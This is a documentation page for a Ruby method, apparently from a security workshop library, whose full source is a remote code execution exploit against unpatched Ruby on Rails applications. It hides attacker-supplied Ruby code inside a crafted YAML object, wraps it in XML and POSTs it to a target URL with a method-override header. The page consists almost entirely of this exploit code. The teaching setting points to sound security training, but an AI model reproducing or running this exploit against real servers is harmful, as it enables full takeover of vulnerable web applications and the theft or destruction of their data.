class HBS::SecurityWorkshop::UnpatchedRailsRCE
Public Instance Methods
exploit(url,code)
click to toggle source
# File lib/hbs/security_workshop/unpatched_rails_rce.rb, line 13 def exploit(url,code) escaped_code = "foo; #{code}\n__END__\n" yaml = %{ --- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection ? #{escaped_code.to_yaml.sub('--- ','').chomp} : !ruby/object:OpenStruct table: :defaults: :action: create :controller: foos :required_parts: [] :requirements: :action: create :controller: foos :segment_keys: - :format modifiable: true }.strip xml = %{ <exploit type="yaml">#{yaml}</exploit> }.strip http_post( :url => url, :headers => { :content_type => 'text/xml', :x_http_method_override => 'get' }, :body => xml ) end